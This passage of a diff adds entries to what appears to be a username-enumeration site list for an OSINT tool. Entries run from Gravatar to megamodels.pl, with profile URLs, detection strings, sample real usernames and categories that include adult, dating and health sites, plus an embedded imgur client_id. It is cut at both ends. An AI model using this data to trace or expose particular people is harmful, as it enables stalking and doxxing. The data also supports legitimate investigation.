"Gravatar", + "uri_check" : "http://en.gravatar.com/profiles/{account}.json", + "uri_pretty" : "http://en.gravatar.com/profiles/{account}", + "e_code" : 200, + "e_string" : "entry", + "m_string" : "User not found", + "m_code" : 404, + "known" : ["test"], + "cat" : "images", + "valid" : true + }, + { + "name" : "Graphics.social (Mastodon Instance)", + "uri_check" : "https://graphics.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://graphics.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["brian", "moonpotato"], + "cat" : "social", + "valid" : true + }, + { + "name" : "gumroad", + "uri_check" : "https://{account}.gumroad.com/", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "s profile picture", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["ellietalksmoney", "reallyniceimages"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Hackaday", + "uri_check" : "https://hackaday.io/{account}", + "e_code" : 200, + "e_string" : "'s Profile | Hackaday.io", + "m_string" : "The requested URL was not found on this server. That’s all we know.", + "m_code" : 404, + "known" : ["john", "adam"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Hacker News", + "uri_check" : "https://news.ycombinator.com/user?id={account}", + "e_code" : 200, + "e_string" : "created:", + "m_string" : "No such user.", + "m_code" : 200, + "known" : ["mubix", "egypt"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Hackernoon", + "uri_check" : "https://hackernoon.com/_next/data/foL6JC7ro2FEEMD-gMKgQ/u/{account}.json", + "uri_pretty" : "https://hackernoon.com/u/{account}", + "e_code" : 200, + "e_string" : "\"profile\"", + "m_string" : "__N_REDIRECT", + "m_code" : 200, + "known" : ["john", "alex"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "hackerearth", + "uri_check" : "https://www.hackerearth.com/@{account}", + "e_code" : 200, + "e_string" : "| Developer Profile on HackerEarth", + "m_string" : "404 | HackerEarth", + "m_code" : 200, + "known" : ["peter", "liam"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "HackerOne", + "uri_check" : "https://hackerone.com/{account}", + "e_code" : 200, + "e_string" : "profile that highlights", + "m_string" : "Page not found", + "m_code" : 301, + "known" : ["yashrs", "ameerpornillos"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "HackerRank", + "uri_check" : "https://www.hackerrank.com/profile/{account}", + "e_code" : 200, + "e_string" : " | HackerRank", + "m_string" : ":: HackerRank", + "m_code" : 302, + "known" : ["johnsmith", "FMota"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "hackster", + "uri_check" : "https://www.hackster.io/{account}", + "e_code" : 200, + "e_string" : "- Hackster.io", + "m_string" : "Hackster.io - The community dedi", + "m_code" : 404, + "known" : ["ian", "bob"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "hamaha", + "uri_check" : "https://hamaha.net/{account}", + "e_code" : 200, + "e_string" : "- трейдинг форекс фьючерсы акции фондовый рынок ", + "m_string" : "HAMAHA Биткоин форум.", + "m_code" : 200, + "known" : ["oleg", "misha"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "Hanime", + "uri_check" : "https://hanime.tv/channels/{account}", + "e_code" : 200, + "e_string" : "Channel Views", + "m_code" : 302, + "m_string" : "DYNAMIC", + "known" : ["z", "god"], + "cat" : "XXXPORNXXX", + "valid": true + }, + { + "name" : "Hcommons.social (Mastodon Instance)", + "uri_check" : "https://hcommons.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://hcommons.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["hello", "iuulaio"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Heylink", + "uri_check" : "https://heylink.me/{account}/", + "e_code" : 200, + "e_string" : "HeyLink.me |", + "m_string" : "We can't find the page that you're looking for :(", + "m_code" : 404, + "known" : ["mohammed13", "johnny"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "hiberworld", + "uri_check" : "https://hiberworld.com/u/{account}", + "e_code" : 200, + "e_string" : "Creations by ", + "m_string" : "Looks like you got lost ", + "m_code" : 200, + "known" : ["Axeman", "Silver01"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "HiHello", + "uri_check" : "https://www.hihello.me/author/{account}", + "e_code" : 200, + "e_string" : "HiHello Blog Author: ", + "m_string" : "Well, this is awkward", + "m_code" : 404, + "known" : ["pascal-theriault", "kortnee-paiha"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Historians.social (Mastodon Instance)", + "uri_check" : "https://historians.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://historians.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["lizcovart", "Ejoiner"], + "cat" : "social", + "valid" : true + }, + { + "name" : "HomeDesign3D", + "uri_check" : "https://en.homedesign3d.net/user/{account}", + "e_code" : 200, + "e_string" : "userspace", + "m_string" : "An Error Occurred: Internal Server Error", + "m_code" : 500, + "known" : ["carlos01", "paul"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Hometech.social (Mastodon Instance)", + "uri_check" : "https://hometech.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://hometech.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["one4ll", "seth"], + "cat" : "social", + "valid" : true + }, + { + "name" : "hoo.be", + "uri_check" : "https://hoo.be/{account}", + "e_code" : 200, + "e_string" : "--profile-name-color", + "m_string" : "Page Not Found</h3>", + "m_code" : 404, + "known" : ["chrishemsworth", "alextackie"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Hostux.social (Mastodon Instance)", + "uri_check" : "https://hostux.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://hostux.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["alarig", "rsmela"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Houzz", + "uri_check" : "https://www.houzz.com/user/{account}", + "e_code" : 200, + "e_string" : "Followers", + "m_string" : "Page Not Found", + "m_code" : 404, + "known" : ["liam", "alex"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "HubPages", + "uri_check" : "https://hubpages.com/@{account}", + "e_code" : 200, + "e_string" : "name\">Followers", + "m_string" : "Sorry, that user does not exist", + "m_code" : 404, + "known" : ["greeneyes1607", "lmmartin"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "Hubski", + "uri_check" : "https://hubski.com/user/{account}", + "e_code" : 200, + "e_string" : "'s profile", + "m_string" : "No such user.", + "m_code" : 200, + "known" : ["john", "blue"], + "cat" : "social", + "valid" : true + }, + { + "name" : "hugging_face", + "uri_check" : "https://huggingface.co/{account}", + "e_code" : 200, + "e_string" : "thumbnails.huggingface.co/social-thumbnails/", + "m_string" : "Sorry, we can't find the page you are looking for.", + "m_code" : 404, + "known" : ["hack", "dev"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Iconfinder", + "uri_check" : "https://www.iconfinder.com/{account}", + "e_code" : 200, + "e_string" : "iconsets", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["roundicons", "iconfinder"], + "cat" : "images", + "valid" : true + }, + { + "name" : "icq-chat", + "uri_check" : "https://icq.icqchat.co/members/{account}/", + "e_code" : 200, + "e_string" : "ICQ chat", + "m_string" : "Oops! We ran into some problems", + "m_code" : 404, + "known" : ["brookenora.54", "bigdaddy.77"], + "cat" : "social", + "valid" : true + }, + { + "name" : "IFTTT", + "uri_check" : "https://ifttt.com/p/{account}", + "e_code" : 200, + "e_string" : "Joined", + "m_string" : "The requested page or file does not exist", + "m_code" : 404, + "known" : ["nr9992", "sss90"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "ifunny", + "uri_check" : "https://ifunny.co/user/{account}", + "e_code" : 200, + "e_string" :"subscribers", + "m_string" : "404 - page not found", + "m_code" : 404, + "known" : ["hacker", "john"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "igromania", + "uri_check" : "http://forum.igromania.ru/member.php?username={account}", + "e_code" : 200, + "e_string" : "Форум Игромании - Просмотр профиля:", + "m_string" : "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "m_code" : 200, + "known" : ["bob", "blue"], + "cat" : "social", + "valid" : true + }, + { + "name" : "ilovegrowingmarijuana", + "uri_check" : "https://support.ilovegrowingmarijuana.com/u/{account}", + "e_code" : 200, + "e_string" : "<title> Profile - ", + "m_string" : "Oops! That page doesn’t exist or is private", + "m_code" : 404, + "known" : ["ILGM.Stacy", "Mosaicmind9x"], + "cat" : "social", + "valid" : true + }, + { + "name" : "imagefap", + "uri_check" : "https://www.imagefap.com/profile/{account}", + "e_code" : 200, + "e_string" : "s Profile", + "m_string" : "Invalid uid", + "m_code" : 200, + "known" : ["lover03", "SecretSide15"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "ImageShack", + "uri_check" : "https://imageshack.com/user/{account}", + "e_code" : 200, + "e_string" : "s Images", + "m_string" : "", + "m_code" : 302, + "known" : ["test"], + "cat" : "images", + "valid" : true + }, + { + "name" : "iMGSRC.RU", + "uri_check" : "https://imgsrc.ru/main/user.php?lang=ru&user={account}", + "e_code" : 200, + "e_string" : "Присоединился", + "m_string" : "", + "m_code" : 302, + "known" : ["natalisn","andydiamond","natalyck"], + "cat" : "images", + "valid" : true + }, + { + "name" : "imgur", + "uri_check" : "https://api.imgur.com/account/v1/accounts/{account}?client_id=546c25a59c58ad7&include=trophies%2Cmedallions", + "uri_pretty" : "https://imgur.com/user/{account}/about", + "e_code" : 200, + "e_string" : "created_at", + "m_string" : "unable to find account", + "m_code" : 404, + "known" : ["OliverClothesoff70", "DadOnTheInternet"], + "cat" : "images", + "valid" : true + }, + { + "name" : "inaturalist", + "uri_check" : "https://inaturalist.nz/people/{account}", + "e_code" : 200, + "e_string" : "s Profile", + "m_string" : "404 Not Found", + "m_code" : 404, + "known" : ["greg", "tom"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Independent academia", + "uri_check" : "https://independent.academia.edu/{account}", + "e_code" : 200, + "e_string" : "- Academia.edu", + "m_string" : "Academia.edu", + "m_code" : 404, + "known" : ["peter", "LiamM"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "InkBunny", + "uri_check" : "https://inkbunny.net/{account}", + "e_code" : 200, + "e_string" : "Profile | Inkbunny, the Furry Art Community", + "m_string" : "Members | Inkbunny, the Furry Art Community", + "m_code" : 302, + "known" : ["AdminBunny", "test"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "InsaneJournal", + "uri_check" : "https://{account}.insanejournal.com/profile", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "User:", + "m_string" : "The requested URL /profile was not found on this server", + "m_code" : 200, + "known" : ["test", "pint-sized", "acroamatica"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Instagram", + "uri_pretty" : "https://instagram.com/{account}", + "uri_check" : "https://www.picuki.com/profile/{account}", + "e_code" : 200, + "e_string" : "Instagram profile with posts and stories", + "m_string" : "Nothing found!", + "m_code" : 404, + "known" : ["katyperry", "kirbstr"], + "cat" : "social", + "valid" : true + }, + { + "name" : "instructables", + "uri_check" : "https://www.instructables.com/member/{account}/", + "e_code" : 200, + "e_string" : ">Joined", + "m_string" : "", + "m_code" : 404, + "known" : ["davidandora", "test"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Internet Archive Account", + "uri_check" : "https://archive.org/details/@{account}", + "e_code" : 200, + "e_string" : "User Account", + "m_string" : "<title>cannot find account", + "m_code" : 200, + "known" : ["webbreacher", "jason_scott"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Internet Archive User Search", + "uri_check" : "https://archive.org/search.php?query={account}", + "e_code" : 200, + "e_string" : "<!--/.item-ia-->", + "m_string" : "", + "m_code" : 200, + "known" : ["test", "mubix"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "interpals", + "uri_check" : "https://www.interpals.net/{account}", + "e_code" : 200, + "e_string" : "Looking for", + "m_string" : "User not found", + "m_code" : 200, + "known" : ["test"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "isMyGirl", + "uri_check" : "https://api.fxcservices.com/pub/user/{account}", + "uri_pretty" : "https://ismygirl.com/{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "User does not exist", + "known" : ["kasumineechan", "blinky"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "issuu", + "uri_check" : "https://issuu.com/{account}", + "e_code" : 200, + "e_string" : "- Issuu", + "m_string" : "Oops — we can’t seem to find the page you’re looking for.", + "m_code" : 404, + "known" : ["john", "smith"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "itch.io", + "uri_check" : "https://itch.io/profile/{account}", + "e_code" : 200, + "e_string" : "A member registered", + "m_code" : 404, + "m_string" : "We couldn't find your page", + "known" : ["prestent", "finch"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Japandict", + "uri_check" : "https://forum.japandict.com/u/{account}", + "e_code" : 200, + "e_string" : "Mentions", + "m_code" : 404, + "m_string" : "The page you requested could not be found.", + "known" : ["Yan", "Happy"], + "cat" : "social", + "valid" : true + }, + { + "name" : "jeja.pl", + "uri_check" : "https://www.jeja.pl/user,{account}", + "e_code" : 200, + "e_string" : "Profil użytkownika", + "m_string" : "Niepoprawny login", + "m_code" : 200, + "known" : ["kowal", "janek"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "JBZD", + "uri_check" : "https://jbzd.com.pl/uzytkownik/{account}", + "e_code" : 200, + "e_string" : "Dzidy użytkownika", + "m_string" : "Błąd 404", + "m_code" : 404, + "known" : ["test", "janek"], + "cat" : "images", + "valid" : true + }, + { + "name" : "Jeuxvideo", + "uri_check" : "https://www.jeuxvideo.com/profil/{account}?mode=infos", + "e_code" : 200, + "e_string" : "- jeuxvideo.com", + "m_string" : "rence des gamers", + "m_code" : 404, + "known" : ["jane", "alex"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Joe Monster", + "uri_check" : "https://joemonster.org/bojownik/{account}", + "e_code" : 200, + "e_string" : "jest prywatny", + "m_string" : "Nie wiem jak ci to powiedzieć", + "m_code" : 200, + "known" : ["dandris", "lasior"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "JSFiddle", + "uri_check" : "https://jsfiddle.net/user/{account}/", + "e_code" : 200, + "e_string" : "Settings - JSFiddle - Code Playground", + "m_string" : "That page doesn't exist.", + "m_code" : 404, + "known" : ["john", "alex"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Justforfans", + "uri_check" : "https://justfor.fans/{account}", + "e_code" : 200, + "e_string" : " @ JustFor.Fans", + "m_string" : "", + "m_code" : 302, + "known" : ["devinfrancoxxx", "RileyChaux"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "kaggle", + "uri_check" : "https://www.kaggle.com/{account}", + "e_code" : 200, + "e_string" : "| Kaggle", + "m_string" : "Kaggle: Your Home for Data Science", + "m_code" : 404, + "known" : ["babyoda", "residentmario"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "karab.in", + "uri_check" : "https://karab.in/u/{account}", + "e_code" : 200, + "e_string" : "Dołączył:", + "m_string" : "Błąd 404", + "m_code" : 404, + "known" : ["ernest", "puszkapandory"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Keybase", + "uri_check" : "https://keybase.io/{account}", + "e_code" : 200, + "e_string" : "username", + "m_string" : "sorry, not found", + "m_code" : 404, + "known" : ["test", "mubix"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Kickstarter", + "uri_check" : "https://www.kickstarter.com/profile/{account}", + "e_code" : 200, + "e_string" : "projects", + "m_string" : "Oops, Something went missing", + "m_code" : 404, + "known" : ["john", "bob"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "kik", + "uri_check" : "https://ws2.kik.com/user/{account}", + "e_code" : 200, + "e_string" : "firstName", + "m_string" : "The page you requested was not found", + "m_code" : 200, + "known" : ["adam", "smith", "jones"], + "cat" : "social", + "valid" : true + }, + { + "name" : "kipin", + "uri_check" : "https://kipin.app/{account}", + "e_code" : 200, + "e_string" : "kipin.app/data/photos/resized2/", + "m_string" : "Page not found. Link expired, broken or wrong.", + "m_code" : 302, + "known" : ["monethica", "asd_fca"], + "cat" : "business", + "valid" : true + }, + { + "name" : "KnowYourMeme", + "uri_check" : "https://knowyourmeme.com/users/{account}", + "e_code" : 200, + "e_string" : "Contributions", + "m_code" : 400, + "m_string" : "404, File Not Found!", + "known" : ["ayumukasuga", "butterin-yobread"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Ko-Fi", + "uri_check" : "https://ko-fi.com/{account}", + "e_code" : 200, + "e_string" : "> Buy a Coffee for", + "m_string" : "Object moved to", + "m_code" : 302, + "known" : ["frank", "marcmakescomics"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Kongregate", + "uri_check" : "https://www.kongregate.com/accounts/{account}", + "e_code" : 200, + "e_string" : "Member Since", + "m_string" : "Sorry, no account with that name was found", + "m_code" : 404, + "known" : ["test"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Kotburger", + "uri_check" : "https://kotburger.pl/user/{account}", + "e_code" : 200, + "e_string" : "Zamieszcza kotburgery od:", + "m_string" : "Nie znaleziono użytkownika o podanym loginie.", + "m_code" : 200, + "known" : ["ania", "janek"], + "cat" : "images", + "valid" : true + }, + { + "name" : "kwejk.pl", + "uri_check" : "https://kwejk.pl/uzytkownik/{account}#/tablica/", + "e_code" : 200, + "e_string" : "Kwejki użytkownika", + "m_string" : "404 - strona nie została znaleziona - KWEJK.pl", + "m_code" : 404, + "known" : ["test", "janek"], + "cat" : "images", + "valid" : true + }, + { + "name" : "LibraryThing", + "uri_check" : "https://www.librarything.com/profile/{account}", + "e_code" : 200, + "e_string" : "Collections", + "m_string" : "Error: This user doesn't exist", + "m_code" : 200, + "known" : ["test", "john"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Libretooth.gr (Mastodon Instance)", + "uri_check" : "https://libretooth.gr/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://libretooth.gr/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["infolibre", "tzinalilik"], + "cat" : "social", + "valid" : true + }, + { + "name" : "lichess", + "uri_check" : "https://lichess.org/@/{account}", + "e_code" : 200, + "e_string" : "Activity", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["mohammed01", "mohammed03"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "likeevideo", + "uri_check" : "https://likee.video/@{account}", + "e_code" : 200, + "e_string" : "https://img.like.video/", + "m_string" : " </h1>", + "m_code" : 404, + "known" : ["owlthorns", "Severkosh"], + "cat" : "social", + "valid" : true + }, + { + "name" : "LINE", + "uri_check" : "https://line.me/R/ti/p/@{account}?from=page", + "e_code" : 200, + "e_string" : "Add LINE Friends via QR Code", + "m_code" : 404, + "m_string" : "404 Not Found", + "known" : [ "roseareal", "yoasobi" ], + "cat" : "social", + "valid" : true + }, + { + "name" : "Linktree", + "uri_check" : "https://linktr.ee/{account}", + "e_code" : 200, + "e_string" : "| Linktree", + "m_string" : "The page you’re looking for doesn’t exist.", + "m_code" : 404, + "known" : ["anne", "alex"], + "cat" : "social", + "valid" : true + }, + { + "name" : "linux.org.ru", + "uri_check" : "https://www.linux.org.ru/people/{account}/profile", + "e_code" : 200, + "e_string" : "Дата регистрации", + "m_string" : "Пользователя не существует", + "m_code" : 404, + "known" : ["john", "bob"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Litmind.club (Mastodon Instance)", + "uri_check" : "https://litmind.club/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://litmind.club/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["litmind", "aperture"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Livejournal", + "uri_check" : "https://{account}.livejournal.com", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "<link rel=\"canonical\" href=\"", + "m_string" : "<title>Unknown Journal", + "m_code" : 404, + "known" : ["jill", "john"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "livemaster.ru", + "uri_check" : "https://www.livemaster.ru/{account}", + "e_code" : 200, + "e_string" : "<title>Магазин мастера", + "m_string" : "<title>Вы попали на несуществующую страницу", + "m_code" : 404, + "known" : ["redart", "ellentoy"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "lobste.rs", + "uri_check" : "https://lobste.rs/u/{account}", + "e_code" : 200, + "e_string" : "Joined", + "m_string" : "The resource you requested was not found, or the story has been deleted.", + "m_code" : 404, + "known" : ["john", "bob"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Lor.sh (Mastodon Instance)", + "uri_check" : "https://lor.sh/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://lor.sh/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["dump_stack", "lamountain"], + "cat" : "social", + "valid" : true + }, + { + "name" : "love_ru", + "uri_check" : "https://love.ru/{account}", + "e_code" : 200, + "e_string" : "Love.ru", + "m_string" : "404", + "m_code" : 404, + "known" : ["igor", "anna"], + "cat" : "social", + "valid" : true + }, + { + "name" : "lowcygier.pl", + "uri_check" : "https://bazar.lowcygier.pl/user/{account}", + "e_code" : 200, + "e_string" : "Zarejestrowany", + "m_string" : "Błąd 404 - Podana strona nie istnieje", + "m_code" : 404, + "known" : ["armin", "janek"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "MAGABOOK", + "uri_check" : "https://magabook.com/{account}", + "e_code" : 200, + "e_string" : "Recent Updates", + "m_string" : "Page Not Be Found", + "m_code" : 200, + "known" : ["PamelaElliott62", "eric"], + "cat" : "social", + "valid" : true + }, + { + "name" : "MAGA-CHAT", + "uri_check" : "https://maga-chat.com/{account}", + "e_code" : 200, + "e_string" : "Recent Updates", + "m_string" : "Page Not Be Found", + "m_code" : 200, + "known" : ["Rich", "RjosephJr"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Magix", + "uri_check" : "https://www.magix.info/us/users/profile/{account}/", + "e_code" : 200, + "e_string" : "About me", + "m_string" : "Page not found", + "m_code" : 200, + "known" : ["baywolfmusic", "johnebaker"], + "cat" : "music", + "valid" : true + }, + { + "name" : "MANYVIDS", + "uri_check" : "https://www.manyvids.com/results.php?keywords={account}", + "e_code" : 200, + "e_string" : " Vids</h3>", + "m_string" : "did not return any results", + "m_code" : 200, + "known" : ["alexbreecooper", "sweetkiss_69"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "MapMyTracks", + "uri_check" : "https://www.mapmytracks.com/{account}", + "e_code" : 200, + "e_string" : "Daily distance this week", + "m_string" : "Outside together", + "m_code" : 302, + "known" : ["ulirad", "CBSloan"], + "cat" : "health", + "valid" : true + }, + { + "name" : "Mapstodon.space (Mastodon Instance)", + "uri_check" : "https://mapstodon.space/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://mapstodon.space/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["Autumnhussar", "jeremy"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Maroc_nl", + "uri_check" : "https://www.maroc.nl/forums/members/{account}.html", + "e_code" : 200, + "e_string" :"Bekijk Profiel:", + "m_string" : "Deze gebruiker is niet geregistreerd", + "m_code" : 200, + "known" : ["brahim", "brahim01"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Marshmallow", + "uri_check" : "https://marshmallow-qa.com/{account}", + "e_code" : 200, + "e_string" : "さんにメッセージをおくる", + "m_string" : "For compensation, here are cats for you.", + "m_code" : 404, + "known" : ["yuino_fox", "momo"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Martech", + "uri_check" : "https://martech.org/author/{account}/", + "e_code" : 200, + "e_string" : "twitter:site", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["mani-karthik", "james-green"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Massage Anywhere", + "uri_check" : "https://www.massageanywhere.com/profile/{account}", + "e_code" : 200, + "e_string" : "<title>MassageAnywhere.com Profile for ", + "m_string" : "<title>MassageAnywhere.com: Search Results", + "m_code" : 200, + "known" : ["lorilmccluskey", "LomiNYC"], + "cat" : "health", + "valid" : true + }, + { + "name" : "Mas.town (Mastodon Instance)", + "uri_check" : "https://mas.town/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://mas.town/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["brett", "cheng"], + "cat" : "social", + "valid" : true + }, + { + "name" : "masto.ai", + "uri_check" : "https://masto.ai/@{account}", + "e_code" : 200, + "e_string" : "@masto.ai) - Mastodon", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["rbreich", "stux"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Masto.nyc (Mastodon Instance)", + "uri_check" : "https://masto.nyc/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://masto.nyc/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["seano", "jayjay718"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Mastodonbooks.net (Mastodon Instance)", + "uri_check" : "https://mastodonbooks.net/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://mastodonbooks.net/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["RogerRemacle", "eugnick"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Mastodon-mastodon", + "uri_check" : "https://mastodon.social/@{account}", + "e_code" : 200, + "e_string" : "profile:username", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["john", "alex"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Mastodon.chasedem.dev (Mastodon Instance)", + "uri_check" : "https://mastodon.chasem.dev/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://mastodon.chasem.dev/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["chase", "George"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Mastodon-API", + "uri_check" : "https://mastodon.social/api/v2/search?q={account}", + "e_code" : 200, + "e_string" : "display_name", + "m_string" : "accounts\":[],\"statuses\":[],\"hashtags\":", + "m_code" : 404, + "known" : ["Richard_Littler", "webbreacher"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Mastodon.online", + "uri_check" : "https://mastodon.online/@{account}", + "e_code" : 200, + "e_string" : "@mastodon.online) - Mastodon", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["Gargron", "RDHale"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Mastodon-Toot.Community", + "uri_check" : "https://toot.community/@{account}", + "e_code" : 200, + "e_string" : "@toot.community) - toot.community", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["Johnny", "jorijn"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Mastodon-climatejustice.rocks", + "uri_check" : "https://climatejustice.rocks/@{account}", + "e_code" : 200, + "e_string" : "@climatejustice.rocks) - Mastodon", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["paula", "ahmed76farag"], + "cat" : "social", + "valid" : true + }, + { + "name" : "MCName (Minecraft)", + "uri_check" : "https://mcname.info/en/search?q={account}", + "e_code" : 200, + "e_string" : "card mb-3 text-monospace", + "m_string" : "alert alert-success px-0 py-1", + "m_code" : 200, + "known" : ["unrevive", "nxtuny"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "MCUUID (Minecraft)", + "uri_check" : "https://playerdb.co/api/player/minecraft/{account}", + "uri_pretty" : "https://mcuuid.net/?q={account}", + "e_code" : 200, + "e_string" : "Successfully found player by given ID.", + "m_string" : "minecraft.api_failure", + "m_code" : 200, + "known" : ["smithy", "bob"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Mediakits", + "uri_check" : "https://restapi.mediakits.com/mediakits/{account}", + "uri_pretty" : "https://app.mediakits.com/{account}", + "e_code" : 200, + "e_string" : "displayName", + "m_code" : 404, + "m_string" : "The requested media kit does not exist.", + "known" : ["kasuminee", "honey"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Medium", + "uri_check" : "https://{account}.medium.com/about", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "Medium member since", + "m_string" : "Out of nothing, something", + "m_code" : 404, + "known" : ["zulie", "jessicalexicus"], + "cat" : "news", + "valid" : true + }, + { + "name" : "medyczka.pl", + "uri_check" : "http://medyczka.pl/user/{account}", + "e_code" : 200, + "e_string" : "Lista uzytkownikow", + "m_string" : "This user has not registered and therefore does not have a profile to view.", + "m_code" : 200, + "known" : ["test", "janek"], + "cat" : "health", + "valid" : true + }, + { + "name" : "meet me", + "uri_check" : "https://www.meetme.com/{account}", + "e_code" : 200, + "e_string" : "Meet people like ", + "m_string" : "<title>MeetMe - Chat and Meet New People</title", + "m_code" : 302, + "known" : ["john", "marsha"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "megamodels.pl", + "uri_check" : "http://megamodels.pl/{account}", + "e_code" : 200, + "e_string" : "Portfolio", + "m_string" : "OSTATNIO AKTYWNE PROFILE", + "m_code" : 200, + "known" : ["ania", "janek"], + "cat" : "social", + "valid" : true + }, + { + "name" : "memrise", + "uri_check" : 